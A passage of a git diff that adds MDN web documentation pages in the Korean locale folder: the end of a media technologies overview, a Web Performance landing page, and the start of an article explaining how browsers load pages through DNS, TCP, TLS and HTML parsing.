+ <dd>The <code>&lt;video&gt;</code> element is an endpoint for video content in a Web context. It can be used to simply present video files, or as a destination for streamed video content. <code>&lt;video&gt;</code> can also be used as a way to link media APIs with other HTML and DOM technologies, including {{HTMLElement("canvas")}} (for frame grabbing and manipulation), for example. Accessible from JavaScript as {{domxref("HTMLVideoElement")}} objects.</dd>
+ <dt>{{HTMLElement("track")}}</dt>
+ <dd>The HTML <code>&lt;track&gt;</code> element can be placed within an {{HTMLElement("audio")}} or {{HTMLElement("video")}} element to provide a reference to a <a href="/en-US/docs/Web/API/Web_Video_Text_Tracks_Format">WebVTT</a> format subtitle or caption track to be used when playing the media. Accessible from JavaScript as {{domxref("HTMLTrackElement")}} objects.</dd>
+ <dt>{{HTMLElement("source")}}</dt>
+ <dd>The HTML <code>&lt;source&gt;</code> element is used within an {{HTMLElement("audio")}} or {{HTMLElement("video")}} element to specify source media to present. Multiple sources can be used to provide the media in different formats, sizes, or resolutions. Accessible from JavaScript as {{domxref("HTMLSourceElement")}} objects.</dd>
+</dl>
+
+<h3 id="APIs">APIs</h3>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/API/Media_Streams_API">Media Capture and Streams API</a></dt>
+ <dd>A reference for the API which makes it possible to stream, record, and manipulate media both locally and across a network. This includes using local cameras and microphones to capture video, audio, and still images.</dd>
+ <dt><a href="/en-US/docs/Web/API/MediaStream_Recording_API">MediaStream Recording API</a></dt>
+ <dd>The MediaStream Recording API lets you capture media streams to process or filter the data or record it to disk.</dd>
+ <dt><a href="/en-US/docs/Web/API/Web_Audio_API">Web Audio API</a></dt>
+ <dd>The Web Audio API lets you generate, filter, and manipulate sound data both in real-time and on pre-recorded material, then send that audio to a destination such as an <code>&lt;audio&gt;</code> element, a media stream, or to disk.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a></dt>
+ <dd>WebRTC (Web Real-Time Communication) makes it possible to stream live audio and video, as well as transfer arbitrary data, between two peers over the Internet, without requiring an intermediary.</dd>
+</dl>
+</div>
+
+<div class="section">
+<h2 class="Documentation" id="Guides">Guides</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/Media/Overview">Overview of media technology on the web</a></dt>
+ <dd>A general look at the open Web technologies and APIs that provide support for audio and video playback, manipulation, and recording. If you're not sure which API you should use, this is the place to start.</dd>
+ <dt><a href="/en-US/docs/Web/Media/Accessibility">Accessibility guide for media in web design</a></dt>
+ <dd>In this guide, we cover ways web designers and developers can create content that is accessible to people with different capabilities. This ranges from simply using the {{htmlattrxref("alt", "img")}} attribute on {{HTMLElement("image")}} elements to captions to tagging media for screen readers.</dd>
+ <dt><a href="/en-US/docs/Web/Media/Formats">Guide to media types and formats on the web</a></dt>
+ <dd>A guide to the file types and codecs available for images, audio, and video media on the web. This includes recommendations for what formats to use for what kinds of content, best practices including how to provide fallbacks and how to prioritize media types, and also includes general browser support information for each media container and codec.</dd>
+ <dt><a href="/en-US/docs/Web/Media/Autoplay_guide">Autoplay guide for media and Web Audio APIs</a></dt>
+ <dd>Unexpected automatic playback of media or audio can be an unwelcome surprise to users. While autoplay serves a purpose, it should be used carefully. To give users control over this, many browsers now provide forms of autoplay blocking. This article is a guide to autoplay, with tips on when and how to use it and how to work with browsers to handle autoplay blocking gracefully.</dd>
+</dl>
+
+<dl>
+</dl>
+
+<h2 id="Other_topics">Other topics</h2>
+
+<p>Related topics which may be of interest, since they can be used in tandem with media APIs in interesting ways.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/API/Canvas_API">The Canvas API</a></dt>
+ <dd>The Canvas API lets you draw into an {{HTMLElement("canvas")}}, manipulating and changing the contents of an image. This can be used with media in many ways, including by setting a <code>&lt;canvas&gt;</code> element as the destination for video playback or camera capture so that you can capture and manipulate video frames.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebGL_API">WebGL</a></dt>
+ <dd>WebGL provides an OpenGL ES compatible API on top of the existing Canvas API, making it possible to do powerful 3D graphics on the Web. Through a canvas, this can be used to add 3D imagery to media content.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebVR_API">WebVR</a></dt>
+ <dd>The Web Virtual Reality API supports virtual reality (VR) devices such as the Oculus Rift or the HTC Vive, making it possible for developers to translate position and movement of the user into movement within a 3D scene which is then presented on the device. WebVR is expected to be gradually replaced with WebXR, which covers a wider range of use cases.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebXR_API">WebXR</a></dt>
+ <dd>WebXR, which is meant to eventually replace WebVR, is a technology that provides support for creating virtual reality (VR) and augmented reality (AR) content. The mixed reality content can then be displayed on the device's screen or using goggles or a headset.</dd>
+</dl>
+</div>
+</div>
diff --git a/files/ko/web/performance/index.html b/files/ko/web/performance/index.html
new file mode 100644
index 0000000000..2bca12d91b
--- /dev/null
+++ b/files/ko/web/performance/index.html
@@ -0,0 +1,291 @@
+---
+title: Web Performance
+slug: Web/Performance
+tags:
+  - API
+  - App
+  - App Performance
+  - HTML
+  - JavaScript
+  - Landing
+  - Mobile
+  - Mobile Performance
+  - NeedsTranslation
+  - Performance
+  - Performance Budget
+  - Start-Up Performance
+  - TopicStub
+  - Web
+  - Web Performance
+translation_of: Web/Performance
+---
+<p><span class="seoSummary">Web performance is the objective measurements and the perceived user experience of load time and runtime. Web performance is how long a site takes to load, become interactive and responsive, and how smooth the content is during user interactions </span>- is the scrolling smooth? are buttons clickable? Are pop-ups quick to load and display, and do they animate smoothly as they do so? Web performance includes both objective measurements like time to load, frames per second, and time to become interactive, and subjective experiences of how long it felt like it took the content to load.</p>
+
+<p>The longer it takes for a site to respond, the more users will abandon the site. It is important to minimize the loading and response times and add additional features to conceal latency by making the experience as available and interactive as possible, as soon as possible, while asynchronously loading in the longer tail parts of the experience.</p>
+
+<p>There are tools, APIs, and best practices that help us measure and improve web performance. We cover them in this section:</p>
+
+<h2 id="Key_performance_guides">Key performance guides</h2>
+
+<p>{{LandingPageListSubpages}}</p>
+
+<div class="cleared topicpage-table">
+<div class="section">
+<h2 id="Beginners_tutorials">Beginner's tutorials</h2>
+
+<p>The MDN <a href="/en-US/docs/Learn/Performance">Web Performance Learning Area</a> contains modern, up-to-date tutorials covering Performance essentials. Start here if you are a newcomer to performance:</p>
+
+<dl>
+ <dt></dt>
+ <dt><a href="/en-US/docs/Learn/Performance/web_performance_overview">Web performance: brief overview</a></dt>
+ <dd>Overview of the web performance learning path. Start your journey here.</dd>
+ <dt><a href="/en-US/docs/Learn/Performance/What_is_web_performance">What is web performance?</a></dt>
+ <dd>This article starts the module off with a good look at what performance actually is — this includes the tools, metrics, APIs, networks, and groups of people we need to consider when thinking about performance, and how we can make performance part of our web development workflow.</dd>
+ <dt><a href="/en-US/docs/Learn/Performance/Perceived_performance">How do users perceive performance?</a></dt>
+ <dd>
+ <p>More important than how fast your website is in milliseconds, is how fast your users perceive your site to be. These perceptions are impacted by actual p<span style="letter-spacing: -0.00278rem;">age load time, idling, responsiveness to user interaction, and the smoothness of scrolling and other animations. In this article, we discuss the various loading metrics, animation, and responsiveness metrics, along with best practices to improve user perception, if not the actual timings.</span></p>
+ </dd>
+ <dt><a href="/en-US/docs/Learn/Performance/Web_Performance_Basics">Web performance basics</a></dt>
+ <dd>In addition to the front end components of HTML, CSS, JavaScript, and media files, there are features that can make applications slower and features that can make applications subjectively and objectively faster. There are many APIs, developer tools, best practices, and bad practices relating to web performance. Here we'll introduce many of these features ad the basic level and provide links to deeper dives to improve performance for each topic.</dd>
+ <dt><a href="/en-US/docs/Learn/Performance/HTML">HTML performance features</a></dt>
+ <dd>Some attributes and the source order of your mark-up can impact the performance or your website. By minimizing the number of DOM nodes, making sure the best order and attributes are used for including content such as styles, scripts, media, and third-party scripts, you can drastically improve the user experience. This article looks in detail at how HTML can be used to ensure maximum performance.</dd>
+ <dt><a href="/en-US/docs/Learn/Performance/Multimedia">Multimedia: images and video</a></dt>
+ <dd>The lowest hanging fruit of web performance is often media optimization. Serving different media files based on each user agent's capability, size, and pixel density is possible. Additional tips like removing audio tracks from background videos can improve performance even further. In this article we discuss the impact video, audio, and image content has on performance, and the methods to ensure that impact is as minimal as possible.</dd>
+ <dt><a href="/en-US/docs/Learn/Performance/CSS">CSS performance features</a></dt>
+ <dd>CSS may be a less important optimization focus for improved performance, but there are some CSS features that impact performance more than others. In this article we look at some CSS properties that impact performance and suggested ways of handling styles to ensure performance is not negatively impacted.</dd>
+ <dt><a href="/en-US/docs/Learn/Performance/JavaScript">JavaScript performance best practices</a></dt>
+ <dd>JavaScript, when used properly, can allow for interactive and immersive web experiences — or it can significantly harm download time, render time, in-app performance, battery life, and user experience. This article outlines some JavaScript best practices that should be considered to ensure even complex content is as performant as possible.</dd>
+ <dt><a href="/en-US/docs/Learn/Performance/Mobile">Mobile performance</a></dt>
+ <dd>With web access on mobile devices being so popular, and all mobile platforms having fully-fledged web browsers, but possibly limited bandwidth, CPU and battery life, it is important to consider the performance of your web content on these platforms. This article looks at mobile-specific performance considerations.</dd>
+</dl>
+
+<dl>
+</dl>
+</div>
+
+<div class="section">
+<h2 class="Other_documentation" id="Other_documentation" name="Other_documentation">Using Performance APIs</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/API/Performance_API/Using_the_Performance_API">Performance API</a></dt>
+ <dd>This guide describes how to use the <a href="https://developer.mozilla.org/en-US/docs/Web/API/Performance" title="The Performance interface provides access to performance-related information for the current page. It's part of the High Resolution Time API, but is enhanced by the Performance Timeline API, the Navigation Timing API, the User Timing API, and the Resource Timing API."><code>Performance</code></a> interfaces that are defined in the <a class="external external-icon" href="https://w3c.github.io/hr-time/" rel="noopener">High-Resolution Time</a> standard.</dd>
+ <dt><a href="/en-US/docs/Web/API/Resource_Timing_API/Using_the_Resource_Timing_API">Resource Timing API</a></dt>
+ <dd><a href="/en-US/docs/Web/API/Resource_Timing_API">Resource loading and timing</a> the loading of those resources, including managing the resource buffer and coping with CORS</dd>
+ <dt><a href="/en-US/docs/Web/API/Performance_Timeline/Using_Performance_Timeline">The performance timeline</a></dt>
+ <dd>The <a href="/en-US/docs/Web/API/Performance_Timeline">Performance Timeline</a> standard defines extensions to the <a href="https://developer.mozilla.org/en-US/docs/Web/API/Performance" title="The Performance interface provides access to performance-related information for the current page. It's part of the High Resolution Time API, but is enhanced by the Performance Timeline API, the Navigation Timing API, the User Timing API, and the Resource Timing API."><code>Performance</code></a> interface to support client-side latency measurements within applications. Together, these interfaces can be used to help identify an application's performance bottlenecks.</dd>
+ <dt><a href="/en-US/docs/Web/API/User_Timing_API/Using_the_User_Timing_API">User Timing API</a></dt>
+ <dd>Create application specific timestamps using the <a href="/en-US/docs/Web/API/User_Timing_API">user timing API</a>'s "mark" and "measure" entry types - that are part of the browser's performance timeline.</dd>
+ <dt><a href="/en-US/docs/Web/API/Frame_Timing_API/Using_the_Frame_Timing_API">Frame Timing API</a></dt>
+ <dd>The <code><a href="/en-US/docs/Web/API/PerformanceFrameTiming">PerformanceFrameTiming</a></code> interface provides <em>frame</em> timing data about the browser's event loop.</dd>
+ <dt><a href="/en-US/docs/Web/API/Beacon_API/Using_the_Beacon_API">Beacon API</a></dt>
+ <dd><small>The <a href="/en-US/docs/Web/API/Beacon_API">Beacon</a> interface schedules an asynchronous and non-blocking request to a web server.</small></dd>
+ <dt><a href="/en-US/docs/Web/API/Intersection_Observer_API/Timing_element_visibility">Intersection Observer API</a></dt>
+ <dd>Learn to time element visibility with the <a href="https://developer.mozilla.org/en-US/docs/Web/API/Intersection_Observer_API">Intersection Observer API</a> and be asynchronously notified when elements of interest becomes visible.</dd>
+</dl>
+
+<h2 class="Other_documentation" id="Other_documentation" name="Other_documentation">Other documentation</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Tools/Performance">Developer Tools Performance Features</a></dt>
+ <dd>This section provides information on how to use and understand the performance features in your developer tools, including <a href="/en-US/docs/Tools/Performance/Waterfall">Waterfall</a>, <a href="/en-US/docs/Tools/Performance/Call_Tree">Call Tree</a>, and <a href="/en-US/docs/Tools/Performance/Flame_Chart">Flame Charts</a>.</dd>
+ <dt><a href="/en-US/docs/Mozilla/Performance/Profiling_with_the_Built-in_Profiler">Profiling with the built-in profiler</a></dt>
+ <dd>Learn how to profile app performance with Firefox's built-in profiler.</dd>
+</dl>
+</div>
+</div>
+
+<h2 id="Glossary_Terms">Glossary Terms</h2>
+
+<div class="index">
+<ul class="index">
+ <li>{{glossary('Beacon')}}</li>
+ <li>{{glossary('Brotli compression')}}</li>
+ <li>{{glossary('Client hints')}}</li>
+ <li>{{glossary('Code splitting')}}</li>
+ <li>{{glossary('CSSOM')}}</li>
+ <li>{{glossary('Domain sharding')}}</li>
+ <li>{{glossary('Effective connection type')}}</li>
+ <li>{{glossary('First contentful paint')}}</li>
+ <li>{{glossary('First CPU idle')}}</li>
+ <li>{{glossary('First input delay')}}</li>
+ <li>{{glossary('First interactive')}}</li>
+ <li>{{glossary('First meaningful paint')}}</li>
+ <li>{{glossary('First paint')}}</li>
+ <li>{{glossary('HTTP')}}</li>
+ <li>{{glossary('HTTP_2', 'HTTP/2')}}</li>
+ <li>{{glossary('Jank')}}</li>
+ <li>{{glossary('Latency')}}</li>
+ <li>{{glossary('Lazy load')}}</li>
+ <li>{{glossary('Long task')}}</li>
+ <li>{{glossary('Lossless compression')}}</li>
+ <li>{{glossary('Lossy compression')}}</li>
+ <li>{{glossary('Main thread')}}</li>
+ <li>{{glossary('Minification')}}</li>
+ <li>{{glossary('Network throttling')}}</li>
+ <li>{{glossary('Packet')}}</li>
+ <li>{{glossary('Page load time')}}</li>
+ <li>{{glossary('Page prediction')}}</li>
+ <li>{{glossary('Parse')}}</li>
+ <li>{{glossary('Perceived performance')}}</li>
+ <li>{{glossary('Prefetch')}}</li>
+ <li>{{glossary('Prerender')}}</li>
+ <li>{{glossary('QUIC')}}</li>
+ <li>{{glossary('RAIL')}}</li>
+ <li>{{glossary('Real User Monitoring')}}</li>
+ <li>{{glossary('Resource Timing')}}</li>
+ <li>{{glossary('Round Trip Time (RTT)')}}</li>
+ <li>{{glossary('Server Timing')}}</li>
+ <li>{{glossary('Speculative parsing')}}</li>
+ <li>{{glossary('Speed index')}}</li>
+ <li>{{glossary('SSL')}}</li>
+ <li>{{glossary('Synthetic monitoring')}}</li>
+ <li>{{glossary('TCP handshake')}}</li>
+ <li>{{glossary('TCP slow start')}}</li>
+ <li>{{glossary('Time to first byte')}}</li>
+ <li>{{glossary('Time to interactive')}}</li>
+ <li>{{glossary('TLS')}}</li>
+ <li>{{glossary('TCP', 'Transmission Control Protocol (TCP)')}}</li>
+ <li>{{glossary('Tree shaking')}}</li>
+ <li>{{glossary('Web performance')}}</li>
+</ul>
+</div>
+
+<h2 id="Documents_yet_to_be_written">Documents yet to be written</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/Performance/JavaScript">JavaScript performance best practices</a></dt>
+ <dd>JavaScript, when used properly, can allow for interactive and immersive web experiences ... or it can significantly harm download time, render time, in app performance, battery life, and user experience. <span class="veryhardreadability"><span><span>This article outlines some JavaScript best practices that can ensure even complex content's performance is the highest possible.</span></span></span></dd>
+ <dt><a href="/en-US/docs/Learn/Performance/Mobile">Mobile performance</a></dt>
+ <dd>With web access on mobile devices being so popular, and all mobile platforms having fully-fledged web browsers, but possibly limited bandwidth, CPU, and battery life, it is important to consider the performance of your web content on these platforms. This article also looks at mobile-specific performance considerations.</dd>
+ <dt>Web font performance</dt>
+ <dd>An often overlooked aspect of performance landscape are web fonts. Web fonts are more prominent in web design than ever, yet many developers simply embed them from a third party service and think nothing of it. In this article, we'll covers methods for getting your font files as small as possible with efficient file formats and sub setting. From there, we'll go on to talk about how browsers text, and how you can use CSS and JavaScript features to ensure your fonts render quickly, and with minimal disruption to the user experience.</dd>
+ <dt>Performance bottlenecks</dt>
+ <dd></dd>
+ <dt>Understanding bandwidth</dt>
+ <dd>
+ <div>
+ <div class="public-DraftStyleDefault-block public-DraftStyleDefault-ltr"><span><span>Bandwidth is the amount of data measured in Megabits(Mb) or Kilobits(Kb) that one can send per second. </span></span><span class="veryhardreadability"><span><span>This article explains the role of bandwidth in media-rich internet applications, how you can measure it, and how you can optimize applications to make the best use of available bandwidth</span></span></span><span><span>.</span></span></div>
+ </div>
+ </dd>
+ <dd></dd>
+ <dt>The role of TLS in performance</dt>
+ <dd>
+ <p>TLS—or HTTPS as we tend to call it—is crucial in creating secure and safe user experiences. While hardware has reduced the negative impacts TLS has had on server performance, it still represents a substantial slice of the time we spend waiting for browsers to connect to servers. This article explains the TLS handshake process, and offers some tips for reducing this time, such as OCSP stapling, HSTS preload headers, and the potential role of resource hints in masking TLS latency for third parties.</p>
+ </dd>
+ <dt>Reading performance charts</dt>
+ <dd>Developer tools provide information on performance, memory, and network requests. Knowing how to read <a href="https://developer.mozilla.org/en-US/docs/Tools/Performance/Waterfall">waterfall</a> charts, <a href="https://developer.mozilla.org/en-US/docs/Tools/Performance/Call_Tree">call trees</a>, traces, <a href="https://developer.mozilla.org/en-US/docs/Tools/Performance/Flame_Chart">flame charts</a> , and <a href="https://developer.mozilla.org/en-US/docs/Tools/Performance/Allocations">allocations</a> in your browser developer tools will help you understand waterfall and flame charts in other performance tools.</dd>
+ <dt>Alternative media formats</dt>
+ <dd>When it comes to images and videos, there are more formats than you're likely aware of. Some of these formats can take your highly optimized media-rich pages even further by offering additional reductions in file size. In this guide we'll discuss some alternative media formats, how to use them responsibly so that non-supporting browsers don't get left out in the cold, and some advanced guidance on transcoding your existing assets to them.</dd>
+ <dt>Analyzing JavaScript bundles</dt>
+ <dd>No doubt, JavaScript is a big part of modern web development. While you should always strive to reduce the amount of JavaScript you use in your applications, it can be difficult to know where to start. <span class="veryhardreadability"><span><span>In this guide, we'll show you how to analyze your application's script bundles, so you know </span></span><em><span>what</span></em><span><span> you're using, as well how to detect if your app contains duplicated scripts between bundles</span></span></span><span><span>.</span></span></dd>
+ <dt><a href="/en-US/docs/Web/Performance/Lazy_loading">Lazy loading</a></dt>
+ <dd>It isn't always necessary to load all of a web applications assets on initial page load. Lazy Loading is deferring the loading of assets on a page, such as scripts, images, etc., on a page to a later point in time i.e when those assets are actually needed.</dd>
+ <dt>Lazy-loading JavaScript with dynamic imports</dt>
+ <dd>When developers hear the term "lazy loading", they immediately think of below-the-fold imagery that loads when it scrolls into the viewport. But did you know you can lazy load JavaScript as well? In this guide we'll talk about the dynamic import() statement, which is a feature in modern browsers that loads a JavaScript module on demand. Of course, since this feature isn't available everywhere, we'll also show you how you can configure your tooling to use this feature in a widely compatible fashion.</dd>
+ <dt><a href="/en-US/docs/Web/Performance/Controlling_resource_delivery_with_resource_hints">Controlling resource delivery with resource hints</a></dt>
+ <dd>Browsers often know better than we do when it comes to resource prioritization and delivery however they're far from clairyovant. Native browser features enable us to hint to the browser when it should connect to another server, or preload a resource before the browser knows it ever needs it. When used judiciously, this can make fast experience seem even faster. In this article, we cover native browser features like rel=preconnect, rel=dns-prefetch, rel=prefetch, and rel=preload, and how to use them to your advantage.</dd>
+ <dt><a href="/en-US/docs/Web/Performance/Performance_budgets">Performance Budgets</a></dt>
+ <dd>Marketing, design, and sales needs, and developer experience, often ad bloat, third-party scripts, and other features that can slow down web performance. To help set priorities, it is helpful to set a performance budget: a set of restrictions to not exceed during the development phase. In this article, we'll discuss creating and sticking to a performance budget. </dd>
+ <dt><a href="/en-US/docs/Web/Performance/Checklist">Web performance checklist</a></dt>
+ <dd>A performance checklist of features to consider when developing applications with links to tutorials on how to implement each feature, include service workers, diagnosing performance problems, font loading best practices, client hints, creating performant animations, etc.</dd>
+ <dt><a href="/en-US/docs/Web/Performance/Mobile_performance_checklist">Mobile performance checklist</a></dt>
+ <dd>A concise checklist of performance considerations impacting mobile network users on hand-held, battery operated devices.</dd>
+</dl>
+
+<h2 id="See_also">See also</h2>
+
+<p>HTML</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTML/Element/picture">The <code>&lt;picture&gt;</code> Element</a></li>
+ <li><a href="/en-US/docs/Web/HTML/Element/video">The <code>&lt;video&gt;</code> Element</a></li>
+ <li><a href="/en-US/docs/Web/HTML/Element/source">The <code>&lt;source&gt;</code> Element</a></li>
+ <li><a href="/en-US/docs/Web/HTML/Element/img#Attributes">The <code>&lt;img&gt; srcset</code> attribute</a>
+  <ul>
+   <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">Responsive images</a></li>
+  </ul>
+ </li>
+ <li><a href="/en-US/docs/Web/HTML/Preloading_content">Preloading content with <code>rel="preload"</code></a> - <a href="https://w3c.github.io/preload/">(https://w3c.github.io/preload/ </a>)</li>
+</ul>
+
+<p>CSS</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/will-change">will-change</a></li>
+ <li>GPU v CPU</li>
+ <li>Measuring layout</li>
+ <li>Font-loading best practices</li>
+</ul>
+
+<p>JavaScript</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Events/DOMContentLoaded">DOMContentLoaded</a></li>
+ <li><a href="/en-US/docs/Glossary/Garbage_collection">Garbage collection</a></li>
+ <li><a href="/en-US/docs/Web/API/window/requestAnimationFrame">requestAnimationFrame</a></li>
+</ul>
+
+<p>APIs</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Performance_API">Performance API</a></li>
+ <li><a href="/en-US/docs/Web/API/Navigation_timing_API">Navigation Timing API</a></li>
+ <li><a href="/en-US/docs/Web/API/Media_Capabilities_API/Using_the_Media_Capabilities_API">Media Capabilities API</a></li>
+ <li><a href="/en-US/docs/Web/API/Network_Information_API">Network Information API</a></li>
+ <li><a href="/en-US/docs/Web/API/PerformanceNavigationTiming">PerformanceNavigationTiming</a></li>
+ <li><a href="/en-US/docs/Web/API/Battery_Status_API">Battery Status API</a></li>
+ <li><a href="/en-US/docs/Web/API/Navigator/deviceMemory">Navigator.deviceMemory</a></li>
+ <li><a href="/en-US/docs/Web/API/Intersection_Observer_API">Intersection Observer</a></li>
+ <li><a href="/en-US/docs/Web/API/User_Timing_API/Using_the_User_Timing_API">Using the User Timing AP</a>I</li>
+ <li><a href="/en-US/docs/Web/API/Long_Tasks_API">Long Tasks API</a></li>
+ <li><a href="/en-US/docs/Web/API/DOMHighResTimeStamp">High Resolution Timing API</a> (<a href="https://w3c.github.io/hr-time/">https://w3c.github.io/hr-time/)</a></li>
+ <li><a href="/en-US/docs/Web/API/Resource_Timing_API/Using_the_Resource_Timing_API">Resource Timing API</a></li>
+ <li><a href="/en-US/docs/Web/API/Page_Visibility_API">Page Visibility</a></li>
+ <li><a href="/en-US/docs/Web/API/Background_Tasks_API">Cooperative Scheduling of Background Tasks API</a>
+  <ul>
+   <li style="margin-top: 0.25em;"><a href="/en-US/docs/Web/API/Window/requestIdleCallback">requestIdleCallback() </a></li>
+  </ul>
+ </li>
+ <li><a href="/en-US/docs/Web/API/Beacon_API/Using_the_Beacon_API">Beacon API</a></li>
+ <li>Resource Hints - <a href="/en-US/docs/Web/HTTP/Headers/X-DNS-Prefetch-Control">dns-prefetch</a>, preconnect, <a href="/en-US/docs/Web/HTTP/Link_prefetching_FAQ">prefetch</a>, and prerender</li>
+ <li><a href="/en-US/docs/Web/API/FetchEvent/navigationPreload">Fetchevent.navigationPreload</a></li>
+ <li><a href="/en-US/docs/Web/API/PerformanceServerTiming">Performance Server Timing API</a></li>
+</ul>
+
+<p>Headers</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Headers/Content-Encoding">Content-encoding</a></li>
+ <li>HTTP/2</li>
+ <li><a href="/en-US/docs/Glossary/GZip_compression">gZip</a></li>
+ <li>Client Hints</li>
+</ul>
+
+<p>Tools</p>
+
+<ul>
+ <li><a href="/en-US/docs/Tools/Performance">Performance in Firefox Developer Tools</a></li>
+ <li>Flame charts</li>
+ <li>The Network panel</li>
+ <li>Waterfall charts</li>
+</ul>
+
+<p>Additional Metrics</p>
+
+<ul>
+ <li>Speed Index and Perceptual Speed Index</li>
+</ul>
+
+<p>Best Practices</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Service_Worker_API/Using_Service_Workers">Using Service Workers</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Workers_API/Using_web_workers">Using Web Workers</a>
+  <ul>
+   <li><a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers API</a></li>
+  </ul>
+ </li>
+ <li><a href="/en-US/docs/Web/Apps/Progressive/Offline_Service_workers">PWA</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Caching">Caching</a></li>
+ <li>Content Delivery Networks (CDN)</li>
+</ul>
diff --git a/files/ko/web/performance/브라우저는_어떻게_동작하는가/index.html b/files/ko/web/performance/브라우저는_어떻게_동작하는가/index.html
new file mode 100644
index 0000000000..473e30980d
--- /dev/null
+++ b/files/ko/web/performance/브라우저는_어떻게_동작하는가/index.html
@@ -0,0 +1,204 @@
+---
+title: '웹페이지를 표시한다는 것: 브라우저는 어떻게 동작하는가'
+slug: Web/Performance/브라우저는_어떻게_동작하는가
+translation_of: Web/Performance/How_browsers_work
+---
+<p>Users want web experiences with content that is fast to load and smooth to interact with. Therefore, <span class="seoSummary">a developer should strive to achieve these two goals. </span></p>
+
+<p><span class="seoSummary">To understand how to improve performance and perceived performance, it helps to understand how the browser works.</span></p>
+
+<h2 id="개요">개요</h2>
+
+<p>Fast sites provide better user experiences. Users want and expect web experiences with content that is fast to load and smooth to interact with.</p>
+
+<p>Two major issues in web performance are understanding issues having to do with latency and issues having to do with the fact that for the most part, browsers are single threaded.</p>
+
+<p>Latency is our main threat to overcome to ensure a fast load. To be fast to load, the developers’ goals include sending requested information as fast as possible, or at least seem super fast. Network latency is the time it takes to transmit bytes over-the-air to computers. Web performance is what we have to do to make the page load happen as quickly as possible.</p>
+
+<p>For the most part, browsers are considered single threaded. For smooth interactions, the developer's goal is to ensure performant site interactions, from smooth scrolling to being responsive to touch. Render time is key, with ensuring the main thread can complete all the work we throw at it and still always be available to handle user interactions. Web performance can be improved by understanding the single-threaded nature of the browser and minimizing the main thread's responsibilities, where possible and appropriate, to ensure rendering is smooth and responses to interactions are immediate.</p>
+
+<h2 id="여정">여정</h2>
+
+<p><em>Navigation</em> is the first step in loading a web page. It occurs whenever a user requests a page by entering a URL into the address bar, clicking a link, submitting a form, as well as other actions.</p>
+
+<p>One of the goals of web performance is to minimize the amount of time a navigation takes to complete. In ideal conditions, this usually doesn't take too long, but latency and bandwidth are foes which can cause delays.</p>
+
+<h3 id="DNS_Lookup">DNS Lookup</h3>
+
+<p>The first step of navigating to a web page is finding where the assets for that page are located. If you navigate to <code>https://example.com</code>, the HTML page is located on the server with IP address of <code>93.184.216.34</code>. If you’ve never visited this site, a DNS lookup must happen.</p>
+
+<p>Your browser requests a DNS lookup, which is eventually fielded by a name server, which in turn responds with an IP address. After this initial request, the IP will likely be cached for a time, which speeds up subsequent requests by retrieving the IP address from the cache instead of contacting a name server again.</p>
+
+<p>DNS lookups usually only need to be done once per hostname for a page load. However, DNS lookups must be done for each unique hostname the requested page references. If your fonts, images, scripts, ads, and metrics all have different hostnames, a DNS lookup will have to be made for each one.</p>
+
+<p><img alt="Mobile requests go first to the cell tower, then to a central phone company computer before being sent to the internet" src="https://mdn.mozillademos.org/files/16743/latency.jpg" style="height: 281px; width: 792px;"></p>
+
+<p>This can be problematic for performance, particularly on mobile networks. When a user is on a mobile network, each DNS lookup has to go from the phone to the cell tower to reach an authoritative DNS server. The distance between a phone, a cell tower, and the name server can add significant latency.</p>
+
+<h3 id="TCP_Handshake">TCP Handshake</h3>
+
+<p>Once the IP address is known, the browser sets up a connection to the server via a {{glossary('TCP handshake','TCP three-way handshake')}}. This mechanism is designed so that two entities attempting to communicate—in this case the browser and web server—can negotiate the parameters of the network TCP socket connection before transmitting data, often over {{glossary('HTTPS')}}.</p>
+
+<p>TCP's three way handshaking technique is often referred to as "SYN-SYN-ACK"—or more accurately SYN, SYN-ACK, ACK—because there are three messages transmitted by TCP to negotiate and start a TCP session between two computers. Yes, this means three more messages back and forth between each server, and the request has yet to be made.</p>
+
+<h3 id="TLS_Negotiation">TLS Negotiation</h3>
+
+<p>For secure connections established over HTTPS, another "handshake" is required. This handshake, or rather the {{glossary('TLS')}} negotiation, determines which cipher will be used to encrypt the communication, verifies the server, and establishes that a secure connection is in place before beginning the actual transfer of data. This requires three more round trips to the server before the request for content is actually sent.</p>
+
+<p><img alt="The DNS lookup, the TCP handshake, and 5 steps of the TLS handshake including clienthello, serverhello and certificate, clientkey and finished for both server and client." src="https://mdn.mozillademos.org/files/16746/ssl.jpg" style="height: 412px; width: 729px;"></p>
+
+<p>While making the connection secure adds time to the page load, a secure connection is worth the latency expense, as the data transmitted between the browser and the web server cannot be decrypted by a third party.</p>
+
+<p>After the 8 round trips, the browser is finally able to make the request.</p>
+
+<h2 id="응답">응답</h2>
+
+<p>Once we have an established connection to a web server, the browser sends an initial <a href="/en-US/docs/Web/HTTP/Methods">HTTP <code>GET</code> request</a> on behalf of the user, which for websites is most often an HTML file. Once the server receives the request, it will reply with relevant response headers and the contents of the HTML.</p>
+
+<pre class="brush: html">&lt;!doctype HTML&gt;
+&lt;html&gt;
+ &lt;head&gt;
+  &lt;meta charset="UTF-8"/&gt;
+  &lt;title&gt;My simple page&lt;/title&gt;
+  &lt;link rel="stylesheet" src="styles.css"/&gt;
+  &lt;script src="myscript.js"&gt;&lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  &lt;h1 class="heading"&gt;My Page&lt;/h1&gt;
+  &lt;p&gt;A paragraph with a &lt;a href="https://example.com/about"&gt;link&lt;/a&gt;&lt;/p&gt;
+  &lt;div&gt;
+    &lt;img src="myimage.jpg" alt="image description"/&gt;
